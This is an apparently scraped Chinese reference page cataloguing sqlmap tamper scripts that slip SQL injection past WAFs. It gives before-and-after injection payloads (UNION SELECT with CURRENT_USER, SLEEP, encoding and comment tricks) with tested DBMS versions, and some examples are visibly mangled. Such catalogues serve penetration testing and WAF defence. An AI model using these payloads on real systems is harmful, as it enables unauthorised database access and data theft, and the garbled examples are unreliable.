1. 程式人生 > >sqlmap中tamper指令碼繞過waf、防火牆獲得資料庫資訊 sqlmap中tamper指令碼繞過waf

sqlmap中tamper指令碼繞過waf、防火牆獲得資料庫資訊 sqlmap中tamper指令碼繞過waf

sqlmap中tamper指令碼繞過waf

指令碼名:apostrophemask.py


作用:用utf8代替引號

1 Example: ( "1 AND '1'='1" ) '1 AND  %EF%BC%871%EF%BC%87=%EF%BC%871'

Tested against: all

指令碼名:equaltolike.py


作用:like 代替等號

1 2 3 4 5 Example:   *   Input:  SELECT FROM  users  WHERE  id=1   *   
Output : SELECT  FROM users  WHERE  id  LIKE  1

案例一: http://wooyun.org/bugs/wooyun-2010-087296

案例二: http://wooyun.org/bugs/wooyun-2010-074790

案例三:http://wooyun.org/bugs/wooyun-2010-072489

指令碼名:space2dash.py


作用:繞過過濾‘=’ 替換空格字元(”),(’ – ‘)後跟一個破折號註釋,一個隨機字串和一個新行(’ n’)

1 Example: ( '1 AND 9227=9227' ) '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

Tested against: * MSSQL * SQLite

案例一:http://wooyun.org/bugs/wooyun-2010-062878

指令碼名:greatest.py


作用:繞過過濾’>’ ,用GREATEST替換大於號。

1 Example: ( '1 AND A > B' )
'1 AND GREATEST(A,B+1)=A'
 
Tested against: * MySQL 4, 5.0 
and  5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

指令碼名:space2hash.py


作用:空格替換為#號 隨機字串 以及換行符

1 2 3 4 Example:   *   Input: 1  AND  9227=9227 *    Output : 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement:

  • MySQL Tested against:

  • MySQL 4.0, 5.0

參考:法克的一篇文章

指令碼名:apostrophenullencode.py


作用:繞過過濾雙引號,替換字元和雙引號。

1 Example: tamper( "1 AND '1'='1" ) '1 AND  %00%271%00%27=%00%271'

Tested against:

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

指令碼名:halfversionedmorekeywords.py


作用:當資料庫為mysql時繞過防火牆,每個關鍵字之前新增mysql版本評論

1 2 3 Example:   ( "value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa" ) "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"

Requirement:

  • MySQL < 5.1

Tested against:

  • MySQL 4.0.18, 5.0.22

指令碼名:space2morehash.py


作用:空格替換為 #號 以及更多隨機字串 換行符

1 2 3 4 5 Example:   * Input: 1  AND 9227=9227   Output : 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement: * MySQL >= 5.1.13 Tested

against: * MySQL 5.1.41

案例一:91ri一篇文章

指令碼名:appendnullbyte.py


作用:在有效負荷結束位置載入零位元組字元編碼

1 Example: ( '1 AND 1=1' ) '1 AND 1=1%00'

Requirement:

  • Microsoft Access

指令碼名:ifnull2ifisnull.py


作用:繞過對 IFNULL 過濾。 替換類似’IFNULL(A, B)’為’IF(ISNULL(A), B, A)’

1 2 3 Example:   ( 'IFNULL(1, 2)' ) 'IF(ISNULL(1),2,1)'

Requirement:

  • MySQL

  • SQLite (possibly)

  • SAP MaxDB (possibly)

Tested against:

  • MySQL 5.0 and 5.5

指令碼名:space2mssqlblank.py(mssql)


作用:空格替換為其它空符號

Example: * Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0Fusers

Requirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005

ASCII table:


案例一: wooyun.org/bugs/wooyun-2010-062878

指令碼名:base64encode.py


作用:用base64編碼替換 Example: ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' Requirement: all

案例一: http://wooyun.org/bugs/wooyun-2010-060071

案例二: http://wooyun.org/bugs/wooyun-2010-021062

案例三: http://wooyun.org/bugs/wooyun-2010-043229

指令碼名:space2mssqlhash.py


作用:替換空格

1 Example: ( '1 AND 9227=9227' ) '1%23%0AAND%23%0A9227=9227'  Requirement: * MSSQL * MySQL

指令碼名:modsecurityversioned.py


作用:過濾空格,包含完整的查詢版本註釋

1 Example: ( '1 AND 2>1--' ) '1 /*!30874AND 2>1*/--'

Requirement: * MySQL

Tested against:

  • MySQL 5.0

指令碼名:space2mysqlblank.py


作用:空格替換其它空白符號(mysql)

1 2 3 4 5 Example:   * Input:  SELECT id  FROM  users   Output : SELECT %0Bid%0BFROM%A0users

Requirement:

  • MySQL

Tested against:

  • MySQL 5.1

案例一:wooyun.org/bugs/wooyun-2010-076735

指令碼名:between.py


作用:用between替換大於號(>)

1 Example: ( '1 AND A > B--' ) '1 AND A NOT BETWEEN 0 AND B--'

Tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-068815

指令碼名:space2mysqldash.py


作用:替換空格字元(”)(’ – ‘)後跟一個破折號註釋一個新行(’ n’)

注:之前有個mssql的 這個是mysql的

1 Example: ( '1 AND 9227=9227' ) '1--%0AAND--%0A9227=9227'

Requirement:

  • MySQL

  • MSSQL

指令碼名:multiplespaces.py


作用:圍繞SQL關鍵字新增多個空格

1 Example: ( '1 UNION SELECT foobar' ) '1 UNION SELECT foobar'

Tested against: all

案例一: wooyun.org/bugs/wooyun-2010-072489

指令碼名:space2plus.py


作用:用+替換空格

1 Example: ( 'SELECT id FROM users' ) 'SELECT+id+FROM+users'  Tested against:  all

指令碼名:bluecoat.py


作用:代替空格字元後與一個有效的隨機空白字元的SQL語句。 然後替換=為like

1 Example: ( 'SELECT id FROM users where id = 1' ) 'SELECT%09id FROM users where id LIKE 1'

Tested against:

  • MySQL 5.1, SGOS

指令碼名:nonrecursivereplacement.py


雙重查詢語句。取代predefined SQL關鍵字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters

1 Example: ( '1 UNION SELECT 2--' ) '1 UNIOUNIONN SELESELECTCT 2--'  Tested against:  all

指令碼名:space2randomblank.py


作用:代替空格字元(“”)從一個隨機的空白字元可選字元的有效集

1 Example: ( 'SELECT id FROM users' ) 'SELECT%0Did%0DFROM%0Ausers'

Tested against: all

指令碼名:sp_password.py


作用:追加sp_password’從DBMS日誌的自動模糊處理的有效載荷的末尾

1 Example: ( '1 AND 9227=9227-- ' ) '1 AND 9227=9227-- sp\_password'  Requirement: * MSSQL

指令碼名:chardoubleencode.py


作用: 雙url編碼(不處理以編碼的)

1 2 3 4 5 Example:   * Input:  SELECT FIELD  FROM %20TABLE   Output : %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

指令碼名:unionalltounion.py


作用:替換UNION ALL SELECT UNION SELECT

Example: ('-1 UNION ALL SELECT') '-1 UNION SELECT'

Requirement: all

指令碼名:charencode.py


作用:url編碼

1 2 3 4 5 Example:   *   Input:  SELECT FIELD  FROM %20TABLE   *    Output : %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

指令碼名:randomcase.py


作用:隨機大小寫 Example:

  • Input: INSERT
  • Output: InsERt

Tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

指令碼名:unmagicquotes.py


作用:寬字元繞過 GPC addslashes

1 2 3 4 5 Example:   * Input: 1′  AND  1=1   Output : 1%bf%27 AND  1=1–%20

指令碼名:randomcomments.py


作用:用/**/分割sql關鍵字

1 2 3 Example:   INSERT ’ becomes ‘ IN //S//ERT’

指令碼名:charunicodeencode.py


作用:字串 unicode 編碼

1 2 3 4 5 Example:   * Input:  SELECT FIELD%20FROM  TABLE   Output : %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

Requirement:

  • ASP

  • ASP.NET

Tested against:

  • Microsoft SQL Server 2000

  • Microsoft SQL Server 2005

  • MySQL 5.1.56

  • PostgreSQL 9.0.3

案例一: wooyun.org/bugs/wooyun-2010-074261

指令碼名:securesphere.py


作用:追加特製的字串

1 Example: ( '1 AND 1=1' ) "1 AND 1=1 and '0having'='0having'"

Tested against: all

指令碼名:versionedmorekeywords.py


作用:註釋繞過

1 2 3 4 5 Example:   * Input: 1  UNION ALL  SELECT  NULL NULL , CONCAT( CHAR (58,122,114,115,58),IFNULL( CAST ( CURRENT_USER () AS  CHAR ), CHAR (32)), CHAR (58,115,114,121,58))#   Output : 1/*! UNION **! ALL **! SELECT **! NULL */,/*! NULL */,/*!CONCAT*/(/*! CHAR */(58,122,114,115,58),/*!IFNULL*/( CAST (/*! CURRENT_USER */()/*! AS **! CHAR */),/*! CHAR */(32)),/*! CHAR */(58,115,114,121,58))#

Requirement:

  • MySQL >= 5.1.13

指令碼名:space2comment.py


作用:Replaces space character (‘ ‘) with comments ‘/**/’

1 2 3 4 5 Example:   * Input:  SELECT id  FROM  users   Output : SELECT //id// FROM /**/users

Tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-046496

指令碼名:halfversionedmorekeywords.py


作用:關鍵字前加註釋

1 2 3 4

相關推薦

sqlmaptamper指令碼繞過waf防火牆獲得資料庫資訊 sqlmaptamper指令碼繞過waf

sqlmap中tamper指令碼繞過waf 指令碼名:apostrophemask.py 作用:用utf8代替引號

防火牆WAFIPSIDS都是什麼

防火牆 (Firewall) 別名防護牆,於1993發明並引入國際網際網路。 他是一項資訊保安的防護系統,依照特定的規則,允許或是限制傳輸的資料通過。在網路中,所謂的防火牆是指一種將內網和外網分開的方法,他實際上是一種隔離技術 防火牆對流經它的網路通訊進行掃描, 這樣就能夠過濾掉一些攻擊,以免其在目標計

從Linux程式執行shell(程式指令碼)並獲得輸出結果(轉)

1. 前言 2. 使用臨時檔案 3. 使用匿名管道 4. 使用popen 5. 小結

openwrt 新增新的檔案指令碼可執行程式到韌體

網上有許多介紹如何編譯程式到韌體的文章,寫一篇將多個檔案編譯到韌體中的方法的文章。 # # Copyright (C) 2007-2016 OpenWrt.org # Copyright (C) 2010 Vertical Communications #

shell的break跳出迴圈continue結束本次迴圈exit退出指令碼

開發十年,就只剩下這套架構體系了! >>>   

JQuery內容操作函數validation表單校驗

調用方法 scrip 註意 語言 rul asc javascrip 最前面插入 獲取 JQuery:內容體拼接(可以直接拼接元素節點和內容節點)   JQuery實現:     方案1:A.append(B); == B.appendTo(A);A的後面拼接B    

Nginx事件處理的connection和readwrite事件的關聯

ase handle inux cycle ngx auth eof conn ont /********************************************************************* * Author : Samson

關於android的單位(dpsp)

字號 兩個 metrics 不一定 ont ace white 超級 style android讓人頭疼的適配問題。 --------- Android 中的單位大概有這些: 經常使用的dip、sp。有時候用到px。 --------- 介紹兩個類: Type

關於Unitystretch的分開使用預制體Scroll View的UI節點

pre 左右 類型 ane 不變 rac tor pos initial 一、上次講的菊花的四個花瓣,只講了四個花瓣和在一起的時候的作用,現在是分開的菊花的四個花瓣的作用 1.創建一個Canvas2.對Canvas進行初始化3.創建一個Image的UI節點作為Canvas的

【鋒利的jQuery】全局事件ajaxStartajaxStop不執行

doc dem del loading hide 案例 var .ajax round 最近一直都在研究【鋒利的jQuery】,確實是一本好書,受益匪淺。但由於技術發展及版本更新等原因,裏面還是有些坑需要踩的。 比如:第六章七節中提到的全局事件ajaxStart、ajax

wprintfwcout輸出中文和unicode文字符串的轉換問題

fan 5% 轉換問題 int 字符串 ssa dst unicode zed %E4%BD%BF%E7%94%A8CHttpFile%E4%BB%8E%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%AB%AF%E6%AD%A3%E7%A1%AE%E7%9A%

jQuery$(function(){})與(function($){})(jQuery)$(document).ready(function(){})等的區別詳細講解

lib div 有效 cti title jquer init str lac 1、(function($) {…})(jQuery); 在(function($) {…})(jQuery)在內部定義的函數和變量只能在此範圍內有效。 形成是否

CSS 的內聯元素塊級元素display的各個屬性的特點

ron 但是 splay 之間 height 多個 ext 情況 div CSS的內聯元素和塊級元素 塊級元素<h1>-<h6>、p、dt是不可以內聯塊級元素的 1、block和inline這兩個概念是簡略的說法,完整確切的說應該是 block-le

Mysql的排序規則utf8_unicode_ciutf8_general_ci的區別總結

數據 general ins 什麽 tab where 進制 用戶 table Mysql中的排序規則utf8_unicode_ci、utf8_general_ci的區別總結 用了這麽長時間,發現自己竟然不知道utf_bin和utf_general_ci這兩者到底有什麽區別

jQuery$(function(){})與(function($){})(jQuery)$(document).ready(function(){})等的區別詳細講解 ----轉載

最大 閉包 param 作用 alt dsm tracking 參數 bsp 1、(function($) {…})(jQuery); 1)、原理: 這實際上是匿名函數,如下: function(arg){…} 這就定義了一個匿名函數,參數為arg 而調用函數時,是在

運維學習之Linux系統的文件傳輸歸檔壓縮

linux不同系統之間的文件傳輸1.文件歸檔1.文件歸檔,就是把多個文件變成一個歸檔文件2.tar c ##創建 f ##指定歸檔文件名稱 t ##顯示歸檔文件中的內容 r ##向歸檔文件中添加文件 --get ##取出單個文件 --delete ##刪除單個文件 x ##取出歸檔文件中的所有內容

mui開發獲取單選按鈕復選框的值

nbsp ++ element pretty 按鈕 選擇 return null 單選按鈕的值 js獲取單選按鈕的值 function getVals(){ var res = getRadioRes(‘rds‘); if(res == null){mui.

javaString類常用方法屬性等

col clas equal ack length ++ ava eal rgs package Head18; public class java09 { public static void main(String[] args) { St

閱讀源代碼的重要性:如廚師選食材,耍廚具——在Eclipse怎樣查看JavaAndroid源代碼

系統 spa san text progress 啟動 找到 排序 javap 首先,非常多人說,不會看jdk中的源代碼就不叫學過Java。顯然這是肯定的。打個例如:真正的廚師須要從食材的選取、加工。到最後的烹飪、裝盤成型,甚至到最後給用戶介紹食用方法等一整套流程走

C/C++,空數組空類類中空數組的解析及其作用

class 不同 理解 返回 free 而且 解析 分配 空類 轉自:http://blog.sina.com.cn/s/blog_93b45b0f01015s95.html 我們經常會遇到這些問題: (1)C++中定義一個空類,他們它的大小(sizeof) 為多少